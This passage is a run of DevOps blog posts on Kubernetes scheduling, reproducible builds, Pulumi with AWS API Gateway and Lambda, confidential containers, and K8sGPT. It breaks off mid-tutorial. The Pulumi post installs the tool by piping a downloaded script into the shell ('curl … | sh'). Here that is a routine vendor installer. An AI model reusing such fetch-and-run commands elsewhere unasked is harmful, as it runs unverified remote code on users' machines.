    * **Set Appropriate Resource Requests and Limits -** This will ensure that each pod has the right amount of CPU and memory allocated. Properly setting these values helps prevent resource contention and ensures that your cluster runs efficiently.
        
    * **Monitor Resource Usage Regularly -** We are aware that Kubernetes clusters are dynamic, so it’s important to regularly review resource usage and adjust requests and limits as needed. Tools like the [Kubernetes Dashboard](https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/) or [Prometheus](https://prometheus.io/) can help with this.
        
3. **Avoiding Common Pitfalls**
    
    Even with the best intentions, it’s easy to make mistakes that can negatively impact any scheduling strategies you implement. Here are some common pitfalls to be aware of:
    
    * **Avoid Over-Requesting Resources -** Setting resource requests too high can lead to unscheduled pods and wasted resources. Its important to be realistic in your resource allocations.
        
    * **Use Priority Wisely -** Reserve high priorities for truly critical workloads to avoid unnecessary preemptions that can create instability in your cluster.
        
    * **Monitor and Adjust Regularly -** Using tools like the [Kubernetes Dashboard](https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/) or [Prometheus](https://prometheus.io/) can help automate the process, making it less likely to make mistakes compared to doing it manually.
        

# Conclusion

In this guide, we’ve explored the essential concepts and techniques for effective scheduling in Kubernetes. By understanding and applying these practices, you can ensure that your applications are not only running efficiently but are also resilient and scalable.

For further exploration and more detailed insights, be sure to check out the Kubernetes official documentation and other linked resources.

Happy scheduling!

# Resources

* [Kubernetes Documentation - Scheduler Section](https://kubernetes.io/docs/concepts/scheduling-eviction/kube-scheduler/)
    
* [Assigning Pods to Nodes](https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/)
    
* [Kubernetes Architecture Deep Dive](https://kverma.hashnode.dev/navigating-the-kubernetes-architecture-a-comprehensive-guide)

---

# What is Reproducibility and why does it matter?

- Canonical: https://blog.kubesimplify.com/what-is-reproducibility-and-why-does-it-matter
- Published: 2024-08-26
- Summary: In this blog, we'll explore how reproducible builds plays a significant role in securing the software supply chain.

If you’ve been following our [previous blogs](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals), we’ve often highlighted the SolarWinds attack as one of the most significant cybersecurity breaches in history — where hackers managed to infiltrate the build process of SolarWinds' [Orion software](https://www.solarwinds.com/orion-platform), inserting malicious code that went undetected by both developers and end-users. Thus, compromising thousands of organizations, including major U.S. government agencies and Fortune 500 companies.

This incident highlights a critical gap in the software development process — **having vulnerabilities in the build process itself.** If attackers can compromise the build process of the software itself that companies rely on, the consequences can be potentially catastrophic.

So, how do we address this vulnerability? The answer lies in having **reproducible builds.** At its core, a reproducible build ensures that every time software is built, it produces the exact same result, no matter **who, where and when its built.** By guaranteeing consistency and transparency, reproducible builds not only help close the gaps that attackers might exploit but also enable verification to check if a build has been tampered with, making it significantly harder for malicious code to be inserted undetected.

In this blog, we'll explore how reproducible builds plays a significant role in securing the software supply chain, prevent tampering, and restore trust in the software supply chain.

# Repeatable Builds - The Start

One of the first steps towards achieving consistency in the build process is through **repeatable builds** — a concept you might already be somewhat familiar with.

A build is considered repeatable if, by following the same steps and using the same inputs, you can expect to produce similar functioning software each time. This is similar to working with [Dockerfiles](https://docs.docker.com/reference/dockerfile/#:~:text=A%20Dockerfile%20is%20a%20text,line%20to%20assemble%20an%20image.) — when you build a container image using the same Dockerfile, you generally get consistent results. However, the output might still have minor differences due to factors like timestamps or variations in the environment where the build occurs.

While repeatable builds are a good start, they don’t guarantee that the outputs will be identical every time. It’s like baking a cake using slightly different ingredients or a different oven; the end product might be similar, but not exactly the same!

# Moving to Hermetic Builds

To get closer to consistent and secure outputs, we move on to using **hermetic builds**.

A **hermetic build** is a process that is fully isolated from external influences, meaning it is self-contained and independent of the environment where it runs. In a hermetic build, the process doesn’t rely on external network resources, environment variables, or system-specific configurations. Everything required to build the software — including source code, dependencies, tools, and configurations — is contained within a controlled environment, often using containers, sandboxes, or virtual environments.

The main advantage of a hermetic build is that it removes the “variability” that can arise from external factors, which might otherwise lead to inconsistent builds.

For example, consider a project that relies on an open-source library. If your build process fetches this library from the internet each time the build is triggered, there’s a risk that a newer version of the library could be compromised by some malicious actors and thus, introduce unexpected changes, potentially breaking your code. Even worse, if the library’s repository goes down temporarily or is compromised, your build could fail entirely or produce unintended results.

By isolating the build process, a hermetic build ensures that the exact version of the library is included in the build environment, leading to consistent and reliable results every time. This also makes it easier to analyze the imported code for potential issues and vulnerabilities before the software is deployed.

In summary, while hermetic builds effectively control the environment to ensure consistency, it’s important to remember that achieving completely identical outputs across different environments requires managing all potential sources of variability, which brings us to the concept of reproducible builds.

# **What is a Reproducible Build?**

This brings us to r**eproducible build** — our main topic of discussion to create secure and consistent software.

A build is considered reproducible when, no matter who builds it, where it’s built, or when it’s built, the output is always exactly the same.

Think of it like following a recipe to bake a cake — if you use the same ingredients and follow the same steps every time, you’ll end up with the exact same cake. In software, a build is **reproducible** if given the same source code, build environment and build instructions, any party can recreate bit-by-bit identical copies of all specified artifacts. This is the foundation of what’s known as a [deterministic build system](https://reproducible-builds.org/docs/deterministic-build-systems/).

But how do we ensure that these artifacts are truly identical? Developers compare the cryptographic [hash values](https://www.thesslstore.com/blog/what-is-a-hash-function-in-cryptography-a-beginners-guide/) of the outputs. A cryptographic hash function produces a unique string of characters (a hash value) based on the input data. If the hash values match, it confirms that the builds are identical. Even a tiny difference in the build process, such as a different timestamp or file order, would result in a different hash!

This comparison process is s crucial for verifying reproducibility as it provides a clear, objective way to confirm that no unexpected variations have been introduced during the build process.

It’s important to note that while reproducible builds typically involve hermetic practices (since they control their environment to ensure consistency), not all hermetic builds are reproducible. For example, a hermetic build might be isolated from external factors, but if it doesn’t manage all sources of variability, like timestamps, it could still produce different results in different environments, leading to non-reproducible builds.

![](/img/blog/what-is-reproducibility-and-why-does-it-matter/355127fe-8c54-4301-a1e7-cafd6eec8baa.png align="center")

# Benefits - **Secure the Supply Chain using Reproducible Builds**

Well, it’s time to address probably the most important question - Why does reproducibility matter?

The benefits of reproducible builds extend beyond just creating consistent software; they play a crucial role in ensuring the integrity of the build process, securing the software supply chain, and ultimately protecting the entire development lifecycle from potential threats.

### Securing the Build Process

One of the most significant benefits of reproducible builds is their ability to secure the build process itself — as discussed above. By ensuring that every build is identical and verifiable, reproducible builds help prevent tampering and the introduction of malicious code during the build process.

In response to the 2020 breach, SolarWinds implemented a strategy focused on enhancing the security of their build process, with reproducible builds as a key component. [According to SolarWinds](https://www.cybersecuritydive.com/news/solarwinds-software-build-reproducible-cyberattack-code/596850/), they now rebuild their software in a separate, controlled environment and compare the outputs with the original builds to ensure no unauthorized changes have been made.

As **Lee McClendon**, SVP of Research and Development at SolarWinds, stated:

> “Reproducible builds allow us to verify that the software delivered to our customers is exactly what it’s supposed to be.”

This process is crucial for detecting and preventing tampering, as any discrepancies between builds in different environments would immediately signal a potential issue.

Overall, this shift to reproducible builds was a vital step in strengthening SolarWinds’ software supply chain and restoring trust with their customers, highlighting the importance of reproducible builds in modern software development.

> 💡 Did you know?
> 
> Another notable example is the CCleaner attack of 2017, where the attackers exploited the build process to insert malicious code, which later infected over 2.3 million users! This kind of breach also depicts the importance of reproducible builds in detecting such tampering before it reaches users.
> 
> Read more about the attack [here](https://thehackernews.com/2018/04/ccleaner-malware-attack.html).

### Solution to “Works on my Machine” Problem

Reproducible builds help move beyond the infamous **“works on my machine” problem**. It ensures that the software will behave consistently across different systems, regardless of the underlying hardware or software configurations.

This consistency is critical not only for debugging and development but also for the broader goal of maintaining trust in the software itself. Additionally, having this reliability is particularly important in complex, collaborative projects where code passes through multiple hands and environments before reaching production!

### Complimenting SBOM and Provenance

When we talk about securing the build process or even the entire software supply chain, the key part is knowing exactly what’s in your software and how it got there!

This is where [Software Bill of Materials (SBOM)](https://about.gitlab.com/blog/2022/10/25/the-ultimate-guide-to-sboms/) and [provenance](https://slsa.dev/spec/v0.1/provenance) come in. An SBOM is like a detailed ingredients list for your software, showing all the components, libraries, and dependencies it contains. Provenance, which we can think of as the recipe, goes a step further by tracking the origin and history of each component in your software.

Reproducible builds compliments SBOM and provenance by ensuring that every part of the software is accounted for and that the build process can be checked and verified. In fact, reproducible builds inherently provide high-quality SBOM and provenance, as they guarantee that the software’s components and from where they originate, are consistent and unaltered. If an SBOM is created as part of a reproducible build, it gives you a trustworthy record of what’s in the software, which is crucial for finding and fixing vulnerabilities. Furthermore, a provenance is crucial for ensuring that all parts of your software are legitimate and haven’t been tampered with during the build process.

# **Industry Standards and Reproducible Builds**

It wouldn’t be wrong to say that:

> “Reproducible builds are not just a best practice; they're increasingly becoming a requirement in industry standards aimed at securing the software supply chain.”

To start with, the OpenSSF’s [S2C2F](https://github.com/ossf/s2c2f/blob/main/specification/framework.md#practice-7-rebuild-it) (Secure Supply Chain Consumption Framework) is one such standard that emphasizes the need to rebuild OS packages from source before deployment. By ensuring that every package is built from verified, reproducible sources, S2C2F helps prevent tampering and ensures that the software being deployed is secure and trustworthy.

Similarly, the [SLSA](https://slsa.dev/) (Supply Chain Levels for Software Artifacts) standard, also highlights reproducible builds as a key element in mitigating supply chain threats. SLSA acknowledges the importance of “verified reproducibility,” supporting its role in ensuring the security of the software supply chain and making it much harder for attackers to introduce malicious code unnoticed, as seen in the SolarWinds incident.

This focus on reproducible builds is especially important for meeting security regulations like those in the [EU Cyber Resiliency Act](https://digital-strategy.ec.europa.eu/en/policies/cyber-resilience-act) and [SLSA](https://slsa.dev/), which emphasize the need for SBOM and provenance in the software supply chain. This means that companies must ensure the security of their own supply chains, often by building their own SBOM and ensuring that their software is built reproducibly to avoid vulnerabilities.

These standards certainly show how reproducible builds play a crucial role in keeping software safe, by making sure it’s built and deployed securely every time.

# Closing Thoughts

I think it’s apt to say that reproducibility matters because it helps securing the most crucial stage of the software supply chain — the build process itself. By ensuring that every build is consistent and tamper-proof, reproducibility helps protect against incidents similar to SolarWinds breach.

This level of security is crucial in today’s environment, where even small vulnerabilities can be exploited with significant consequences. By embracing reproducibility, organizations are taking a proactive step in securing their software against potential threats, ensuring that what is delivered to users is exactly what was intended — nothing more, nothing less!

# Resources

* [Supply Chain Security Using SLSA](https://blog.kubesimplify.com/supply-chain-security-using-slsa-part-1-fundamentals)
    
* [SolarWinds rethinks Software Builds](https://www.cybersecuritydive.com/news/solarwinds-software-build-reproducible-cyberattack-code/596850/)
    

Follow Kubesimplify on [Hashnode](https://blog.kubesimplify.com/), [Twitter/X](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify). Join our [Discord server](https://kubesimplify.com/discord) to learn with us!

---

# Building APIGateway with Lambda using Pulumi

- Canonical: https://blog.kubesimplify.com/building-apigateway-with-lambda-using-pulumi
- Published: 2024-08-07
- Summary: In this post, I will guide you through creating an API Gateway with Lambda using Pulumi. I will also explain some of Pulumi's functionalities along the way.

While learning about IAC frameworks, I discovered Pulumi, a great project that eliminates the need to learn a new language to code your infrastructure. With Pulumi, you can write your infrastructure using the language of your choice. Pulumi supports TypeScript, Python, Go, C#, Java, YAML, and other languages.

In this post, I will guide you through creating an API Gateway with Lambda using Pulumi. I will also explain some of Pulumi's functionalities along the way.

### Prerequisites:

Before diving into the hands-on part, make sure you meet all these prerequisites:

**AWS Account:**

* You need an AWS account to deploy and manage resources.
    
* Ensure you have AWS credentials (Access Key ID and Secret Access Key) on your machine. You can configure this using the AWS CLI or directly in the Pulumi configuration.
    

**Node.js and npm:**

* Ensure Node.js (version 14 or later) and npm are installed on your machine. You can download Node.js from [nodejs.org](http://nodejs.org).
    

**Basic Knowledge of AWS Services:**

* Familiarity with AWS Lambda and API Gateway concepts will be helpful.
    
* Basic understanding of IAM roles and permissions.
    

## **Install Pulumi:**

[Pulumi](https://www.pulumi.com/) is very simple to install and all it needs a single needs is the execution of a single command (if you are in linux):

```yaml
curl -fsSL https://get.pulumi.com | sh
```

## Create your Pulumi project**:**

Once you have installed Pulumi, you can create a Pulumi project by running `pulumi new` command, it will prompt options to choose from "Template" or "AI" If you use the "AI" option, you just need to prompt your requirement and Pulumi will provide you with the necessary code that is required for you and you have to build upon the provided skeleton.

```bash
pulumi new
```

```bash
# Output 
Would you like to create a project from a template or using a Pulumi AI prompt?  [Use arrows to move, type to filter]
> template - Create a new Pulumi project using a template
  ai - Create a new Pulumi project using Pulumi AI
```

For this post, I will be using the "template" option, which will ask to select a template from the list and will be using the "aws-native-typescript" option. It is also followed by some prompts, you need to configure them as per your needs.

Once the setup is done, you will see that there are some new files and folders added such as `node_modules`, `index.ts`,`pulumi.yaml` etc.

Among the files created, `index.js` is where we will be spending most of our time. This is where you write your infrastructure code.

## **Your First S3 Bucket using Pulumi:**

Though this is out of scope for this post, I feel S3 is the simplest resource that you can create in an AWS environment.

Before writing the code for S3, first, you need to import some npm packages that will be going to use. Run the following to install the Pulumi AWS package.

```bash
npm install @pulumi/aws
```

Once the package is installed, you can use it inside `index.ts`. Here is the complete code you need to create an S3 Bucket using Pulumi.

```javascript
import * as pulumi from "@pulumi/pulumi";
import * as aws from "@pulumi/aws";

const myS3Bucket = new aws.s3.Bucket("my-test-s3");

export const s3bucketName = myS3Bucket.bucket
```

To view the preview of resources that the going to be created, you can use `pulumi preview` the command.

To create the resources, use `pulumi up`. You will prompted to confirm the action, if you are okay with the creation of resources with the shown details, confirm `yes`.

```bash
pulumi up
```

```bash
# Output
Previewing update (dev)
View in Browser (Ctrl+O): https://app.pulumi.com/karnatisrinivas/srini/dev/previews/8ed4358d-f529-4417-a512-6c747a471f80
     Type                 Name        Plan       
 +   pulumi:pulumi:Stack  srini-dev   create     
 +   └─ aws:s3:Bucket     my-test-s3  create     

Outputs:
    s3bucketName: "my-test-s3-1d51318"
Resources:
    + 2 to create

Do you want to perform this update?
```

See how simple it is to create a resource using Pulumi without needing to learn a new language.

## **Building an API with AWS APIGateway and Lambda:**

To keep this post focused on Pulumi, I won't go into the details of why we need an API or how to create one with API Gateway and Lambda.

However, I don't want to leave you in the dark. If you are unsure about how to create one, I highly recommend reading the following blog by freeCodeCamp to understand how to work with API Gateway and Lambda. Once you read it, come back here, and we will write all those steps in code. Sounds fun, right?

%[https://www.freecodecamp.org/news/building-an-api-with-lambdas-and-api-gateway-11254e23b703/] 

### Step 1: Lambda Function:

Following is the code for our lambda function which `GET` requests to the `/status` , responding with a message indicating the `service is operational`.

```javascript
exports.lambdaHandler = async (event, context) => {
    let response;

    try {
        const path = event.path;
        const method = event.httpMethod;

        if (method === 'GET' && path === '/status') {
            response = buildResponse(200, { message: 'Service is operational' });
        } else {
            response = buildResponse(404, { message: '404 Not Found' });
        }
    } catch (error) {
        console.error('Error: ', error);
        response = buildResponse(500, { message: 'Internal Server Error' });
    }

    return response;
};

const buildResponse = (statusCode, body) => {
    return {
        statusCode: statusCode,
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify(body)
    };
};
```

### **Step 2: Writing your infrastructure code:**

To create an API Gateway with Lambda, we need to set up the following resources in our infrastructure.

* Lambda function
    
* Lambda execution role
    
* APIGateway
    
* APIGateway Resource
    
* APIGateway Method
    
* APIGateway Deployment
    

Apart from these, we also need to create an Integration for API Gateway so that it can execute the Lambda function. Additionally, we need an invoke permission for the Lambda function to be invoked by the API Gateway.

### Step 3: Lambda function block:

The following code creates an IAM role called `lambdaRole` with permissions for AWS Lambda to use it. It then creates a Lambda function `myLambdaFunction` using Node.js 16.x, with code from `lambda/index.js` with the role `lambdaRole`.

```javascript
const lambdaRole = new aws.iam.Role("lambdaRole", {
    assumeRolePolicy: pulumi.output({
        Version: "2012-10-17",
        Statement: [
            {
                Action: "sts:AssumeRole",
                Effect: "Allow",
                Principal: {
                    Service: "lambda.amazonaws.com",
                },
            },
        ],
    }).apply(JSON.stringify),
});

const lambdaFunction = new aws.lambda.Function("myLambdaFunction", {
    name: "srini-test",
    runtime: aws.lambda.Runtime.NodeJS16dX,
    code: new pulumi.asset.AssetArchive({
        "index.js": new pulumi.asset.FileAsset(path.join(__dirname, "lambda/index.js")), // Path to the compiled JavaScript code
    }),
    handler: "index.lambdaHandler",
    role: lambdaRole.arn,
});
```

### **Step 4: APIGateway:**

The following code creates an API gateway for REST API with the name `srini-test`.

```javascript
const testApiGateway = new aws.apigateway.RestApi("srini-test", {
    name: "srini-test"
})
```

### Step 5: APIGateway resource and method:

The following code creates an API Gateway resource with the path `/status` under the specified API Gateway (`testApiGateway`). It also creates a method `statusMethod`, which defines a GET method for the `/status` resource.

```java
const resource = new aws.apigateway.Resource("status",{
    restApi: testApiGateway.id,
    parentId: testApiGateway.rootResourceId,
    pathPart: "status"
})


const statusMetod = new aws.apigateway.Method("getStatus", {
    restApi: testApiGateway.id,
    resourceId:  resource.id,
    httpMethod: "GET",
    authorization: "NONE"
})
```

### Step 6: APIGateway Integration with Lambda:

This code block creates an integration for APIGateway to invoke the lambda function that we specified earlier.

```javascript

const statusIntegration = new aws.apigateway.Integration("statusIntegration",{
    restApi: testApiGateway.id,
    resourceId:  resource.id,
    httpMethod: statusMetod.httpMethod,
    type: "AWS_PROXY",
    uri: lambdaFunction.invokeArn,
    integrationHttpMethod: "POST" 
})
```

### **Step 7: APIGateway Deployment:**

After creating your API, you must deploy it to make it callable by your users. This step creates an API deployment and associates it with a stage `dev`.

The `dependsOn` block is used to make sure that deployment is created after the method and integration are created.

```javascript
const statusDeployment = new aws.apigateway.Deployment("statusDeployment", {
    restApi: testApiGateway.id,
    stageName: "dev"
}, { dependsOn: [statusMetod,statusIntegration]})
```

Now we have mentioned all the resource details that are needed for building APIGateway with Lambda endpoint. Let's try to create all the resources using `pulumi up`.

```typescript
pulumi up
```

```bash
## Output

     Type                             Name                        Status              
     pulumi:pulumi:Stack              srini-dev                                       
 +   ├─ aws:apigateway:RestApi        srini-test                  created (1s)        
 +   ├─ aws:iam:RolePolicyAttachment  lambdaRolePolicyAttachment  created (2s)        
 +   ├─ aws:lambda:Function           myLambdaFunction            created (6s)        
 +   ├─ aws:apigateway:Resource       status                      created (0.84s)     
 +   ├─ aws:apigateway:Method         getStatus                   created (0.47s)     
 +   ├─ aws:apigateway:Integration    statusIntegration           created (0.52s)     
 +   └─ aws:apigateway:Deployment     statusDeployment            created (0.74s)     

Outputs:
  + apiUrl    : "https://kssws7ccpl.execute-api.ap-south-2.amazonaws.com/dev/status"
  + lambdaArn : "arn:aws:lambda:ap-south-2:242564025624:function:srini-test"
  + lambdaName: "srini-test"
```

All the resources are created. Let's try to access the API Gateway using the URL [`https://kssws7ccpl.execute-api.ap-south-2.amazonaws.com/dev/status`](https://kssws7ccpl.execute-api.ap-south-2.amazonaws.com/dev/status) provided in the output.

![](/img/blog/building-apigateway-with-lambda-using-pulumi/b4b6b832-708a-46c8-abc3-1d9ddb8e7e24.png align="center")

According to the lambda code we provided, `/status` should return `Service is operational`. But it is returning an "Internal server error," which means we missed something in the configuration. What could it be?

%[https://media.giphy.com/media/a5viI92PAF89q/giphy.gif?cid=790b7611t8vcle18qbfzl1jha03deox3qt4cz4qgx7v5j1us&ep=v1_gifs_search&rid=giphy.gif&ct=g] 

You guessed it right! We haven't given the API Gateway permission to invoke the lambda. Let's add the required permissions using the following:

```javascript
const invokePermissions = new aws.lambda.Permission("invokePermission", {
    action: "lambda:InvokeFunction",
    function: lambdaFunction.arn,
    principal: "apigateway.amazonaws.com",
    sourceArn: pulumi.interpolate`${testApiGateway.executionArn}/*/*/*`
})
```

The above code with provide the required invoke permission for the API gateway.

Now let's try to run `pulumi up` again to create this permission. This time, Pulumi will not recreate all resources. It will only create the newly added resources or replace the ones that have changed.

```typescript
pulumi up
```

```bash
## Output
 
    Type                      Name              Status              
     pulumi:pulumi:Stack       srini-dev                             
 +   └─ aws:lambda:Permission  invokePermission  created (0.59s)     

Outputs:
    apiUrl    : "https://kssws7ccpl.execute-api.ap-south-2.amazonaws.com/dev/status"
    lambdaArn : "arn:aws:lambda:ap-south-2:242564025624:function:srini-test"
    lambdaName: "srini-test"

Resources:
    + 1 created
    9 unchanged

Duration: 4s
```

Let's try to access the API Gateway endpoint. This time, it should invoke our Lambda function and return the expected result.

![](/img/blog/building-apigateway-with-lambda-using-pulumi/33c0a891-ce34-45ee-8c40-bd7b891f8e8a.png align="center")

Yay 🥳, we got our expected result, which means our API is working.

Thanks for reading to the end. This is it for this post. I hope you learned something about creating infrastructure using Pulumi. If you want the full code mentioned in this post, you can find it here: [https://github.com/karnatisrinivas/pulumi-aws](https://github.com/karnatisrinivas/pulumi-aws).

Also, do not forget to delete your resources using `pulumi destroy`. See you again in the next post.

## Resources:

* [How to build an API with Lambdas and API Gateway](https://www.freecodecamp.org/news/building-an-api-with-lambdas-and-api-gateway-11254e23b703/)
    
* [Pulumi Crash Course](https://www.youtube.com/watch?v=1OtfZhJwvYI&list=PLGNdWBFrIUJc2vqu7kaBpZZHppzqScYPp) by CloudSpeak
    
* [Pulumi Workshop](https://pulumi.awsworkshop.io/) by AWS
    

## Conclusion:

In this guide, we explored how to use Pulumi to set up and manage AWS infrastructure with familiar programming languages. We began by installing Pulumi, creating a new project, and setting it up with templates. We demonstrated how easy it is to create an S3 bucket and other AWS resources using Pulumi. We also set up an API Gateway with Lambda, writing all the infrastructure code in TypeScript. This guide demonstrated how Pulumi simplifies infrastructure as code, making your infrastructure creation much easier and more efficient.

---

# Confidential Containers - Running on Kubernetes

- Canonical: https://blog.kubesimplify.com/confidential-containers-running-on-kubernetes
- Published: 2024-08-05

**Confidential computing** - it's not a fancy word anymore, it is something that has a whole ecosystem around it and also tooling to make it happen.

Can we create a safe isolated environment in the cloud where our application is isolated from the rest of the infrastructure? The answer lies in the realm of **confidential computing**, a field that is rapidly advancing to ensure data security and privacy even in untrusted environments.

Lets try to understand the basics first:

**Confidential computing** is designed to run your code within a secure enclave or trusted execution environment (TEE). This technology ensures that data remains confidential and secure, even when being processed in potentially untrusted environments. This secure environment is being realized at the hardware level by extending CPU capabilities to create isolated spaces by the processor itself. Here, the processor guarantees that the space is isolated and inaccessible to unauthorized processes.

![](/img/blog/confidential-containers-running-on-kubernetes/97a31845-ea76-49be-9ce5-d358c40cea4e.png align="center")

Intel were the pioneers in providing the hardware having this capability. Intel's Secure Guard Extensions (SGX) are a set of instruction set extensions that enable the isolation of specific processes within a system. When a program is executed, the processor can isolate it within an enclave, ensuring its security. However, applications need to be designed to run within these enclaves, requiring adaptation for this secure environment. This means, there is extra effort required and there is no lift and shift but over the years the technology has matured and now Intel TDX, ARM CCA, AMD SEV are the new way of doing this. In these, instead of isolating a process, it will be isolating a virtual machine itself which makes more sense.

![](/img/blog/confidential-containers-running-on-kubernetes/2c517f2f-a35d-418b-aca5-900effb16d45.png align="center")

NVIDIA is taking confidential computing to the next level by enabling their H100's with isolation of code and data on GPUs. This advancement opens up new possibilities for secure computation in machine learning and AI applications.

![](/img/blog/confidential-containers-running-on-kubernetes/1c844fd5-493d-40cf-b4ad-f35acfc065d2.png align="center")

### Confidential Containers

![](/img/blog/confidential-containers-running-on-kubernetes/43cbdd2d-316e-4f9a-990f-cfbe70672268.png align="center")

There are two concepts here:

**Confidential Cluster** - In this the whole cluster itself is isolated inside a cloud environment. Although this is possible with the hardware supported but it won't be possible for managed Kubernetes. For managed Kubernetes you will have a regular control plane inside a cloud provider that is not running in isolated mode. This mode provides highest level of isolation but can be achieved on self managed Kubernetes clusters

**Confidential containers** - This is where things get really interesting. Kata containers is the low level container runtime where you can point your worklod to by defining the runtime class. Kata runs your containers as a light weight virtual machines. Now these virtual machines can be isolated an run inside enclave.

![](/img/blog/confidential-containers-running-on-kubernetes/85ab51b5-b15f-4d38-897b-b58e91568845.png align="center")

### Innovation happening:

Even with all of the above discussed, there are scenarios where where the apiserver that in not running in isolated mode is able to connect with the kubelet and the kubelet is able to connect with isolated pods - which are kata containers and running inside an enclave.

There are open source projects building up in this space and one of them is [contrast](https://github.com/edgelesssys/contrast). This can run in existing Kubernetes cluster where the hardware supports enclaves. Encrypting all traffic and pod to pod communication. It lets you add annotation to the workload you are deploying and then check that attestation while deploying to know if the correct thing is getting deployed on to the cluster.

![](/img/blog/confidential-containers-running-on-kubernetes/02ac7a00-3b18-4b8e-bbc9-de1723a51b2a.png align="center")

### Confidential Computing on Kubernetes workshop

All of the above images and pointers are taken from the full fledged workshop that [Moritz Eckert](https://x.com/m1ghtymo) did with me on Kubesimplify. Do check out the full workshop that includes all of the concepts explained above along with end to end demo of running app inside enclave. I highly recommend and and one of the workshops that you should not miss.

%[https://www.youtube.com/live/7w9x8DU1Q4Q?si=lACIwHkRC-xeEqWf] 

### Conclusion

The future of confidential computing is promising, offering a path to running code securely even in untrusted environments. As technologies continue to evolve, they provide robust solutions for creating secure enclaves in the cloud, ensuring data privacy and integrity. With innovations like SGX, SEV, Kata Containers, and contrast the vision of confidential computing is becoming a reality, empowering organizations to protect their most valuable assets in the digital age.

---

# K8sGPT Tutorial - When Kubernetes Meets AI

- Canonical: https://blog.kubesimplify.com/k8sgpt-tutorial-when-kubernetes-meets-ai
- Published: 2024-07-31
- Summary: In this blog we’ll explore k8sGPT, a powerful tool that brings the capabilities of AI to change the way you manage Kubernetes.

We all agree that in recent years, AI has taken the world by storm. With tools like ChatGPT and platforms developed by OpenAI leading the charge — AI is being used in many industries to make work easier, provide helpful insights, and boost productivity. According to [The State of AI 2023 by McKinsey](https://www.mckinsey.com/~/media/mckinsey/business%20functions/quantumblack/our%20insights/the%20state%20of%20ai%20in%202023%20generative%20ais%20breakout%20year/the-state-of-ai-in-2023-generative-ais-breakout-year_vf.pdf), AI adoption has increased by over 60% in the past year alone, with businesses using AI to stay ahead and innovate!

Given how AI is making a significant impact across industries, it makes sense to ask — **why not use AI in managing Kubernetes?**

Kubernetes is one of the most widely adopted open-source container orchestration platforms. Its powerful features make it a top choice for automating the deployment, scaling, and management of containerized applications. However, as Kubernetes environments grow larger, they can become complex and difficult to manage. Troubleshooting issues at scale can be particularly challenging.

This is where AI can make a big difference! By adding AI to the Kubernetes workflow, we can make the management process smarter and more efficient. AI can help diagnose and resolve issues quickly, automate routine tasks, and provide insights that enhance decision-making.

Building upon this narrative, in this blog we’ll explore k8sGPT — a powerful tool that brings the capabilities of AI to change the way you manage Kubernetes, making it easier to solve problems, make decisions, and keep things running smoothly.

# Introducing K8sGPT - Kubernetes Troubleshooting with AI

According to [the website:](https://k8sgpt.ai/)

> K8sGPT is a tool for scanning your kubernetes clusters, diagnosing and triaging issues in simple english. It has SRE experience codified into its analyzers and helps to pull out the most relevant information to enrich it with AI.

K8sGPT is a [CNCF sandbox project](https://www.cncf.io/projects/k8sgpt/) designed to simplify Kubernetes management using AI and natural language processing. It integrates with various AI backends, such as OpenAI, Azure OpenAI, and Google Gemini, to provide clear and actionable insights into your Kubernetes environment. These insights are presented in a user-friendly format, making them easy to understand and act upon.

Some of its key features include:

* **Cluster Scanning -** Automatically checks your Kubernetes clusters to find any issues.
    
* **Issue Diagnosis -** Quickly identifies problems and explains them in simple language.
    
* **Actionable Advice -** Gives practical tips on how to fix issues.
    
* **Anonymization -** Protects sensitive data by hiding it during analysis.
    
* **Extensibility -** Allows you to add custom analyzers to meet your specific needs.
    

These features make K8sGPT a valuable tool for anyone managing Kubernetes environments. It helps you find and fix problems faster, automate routine tasks, and make better decisions. In the next sections, we'll see how these features work through practical demos and real-world examples.

# **Prerequisites**

Before we begin exploring K8sGPT, here are a few things you’ll need:

* [kubectl](https://kubernetes.io/docs/tasks/tools/) installed
    
* A Kubernetes cluster (we’ll be using [**minikube**](https://minikube.sigs.k8s.io/docs/start/) for this tutorial, but feel free to choose any other tool)
    
* [helm](https://helm.sh/docs/intro/install/) installed
    
* [ollama](https://ollama.com/) installed - we’ll be using this as the AI backend for K8sGPT (more on this later)
    

# Installation

There are two main ways you can use K8sGPT to analyze your Kubernetes cluster:

1. Using the CLI
    
2. Using it as an [In-cluster Operator](https://docs.k8sgpt.ai/getting-started/in-cluster-operator/)
    

In the upcoming sections where we discuss different functionalities of K8sGPT, we’ll mainly focus on using the CLI.

Based on your operating system, there various methods of installing the `k8sgpt` CLI which you can check out in the [installation guide](https://docs.k8sgpt.ai/getting-started/installation/). We will be using the following commands to install it via [homebrew](https://brew.sh/):

```bash
brew tap k8sgpt-ai/k8sgpt
brew install k8sgpt
```

Once the installation is complete, use the following command to verify whether it was installed correctly:

```bash
k8sgpt version
```

```bash
# Output
k8sgpt: 0.3.39 (Homebrew), built at: ...
```

# Authentication

Before we move forward with using K8sGPT to analyse our cluster, we need to authenticate it with an AI backend. A Backend (also called Provider) is a service that provides access to the AI language model. K8sGPT [supports a lot of different AI backends](https://docs.k8sgpt.ai/reference/providers/backend/) — so there are several options to choose from!

> Tip: Each AI backend has its own strengths and weaknesses, so it is important to choose the one that is right for your needs.

To know all the supported AI backends, we can use the `k8sgpt auth` command as shown below:

```bash
k8sgpt auth list
```

```bash
# Output
Default: 
> openai
Active: 
Unused: 
> openai
> localai
> ollama
> azureopenai
> cohere
> amazonbedrock
> amazonsagemaker
> google
> noopai
> huggingface
> googlevertexai
> oci
> watsonxai
```

For this tutorial, we’ll be using [Ollama](https://ollama.com/) to run the [Llama 3](https://ollama.com/library/llama3) (latest as of today) LLM locally on our machine — at zero cost!

> Note: OpenAI is the [default backend](https://docs.k8sgpt.ai/reference/providers/backend/#openai) for K8sGPT and is recommended by the community for its powerful language models and accurate results. However, for local testing and demo purposes, free, open-source options are also supported, such as [Ollama](https://docs.k8sgpt.ai/reference/providers/backend/#ollama), [Local AI](https://docs.k8sgpt.ai/reference/providers/backend/#localai), and [FakeAI](https://docs.k8sgpt.ai/reference/providers/backend/#fakeai). Remember, better language models lead to more accurate results!

To get things started, make the sure the ollama server is up and running using the following command:

```bash
ollama serve
```

To authenticate K8sGPT with ollama, we’ll be using the `k8sgpt auth` command as shown below:

```bash
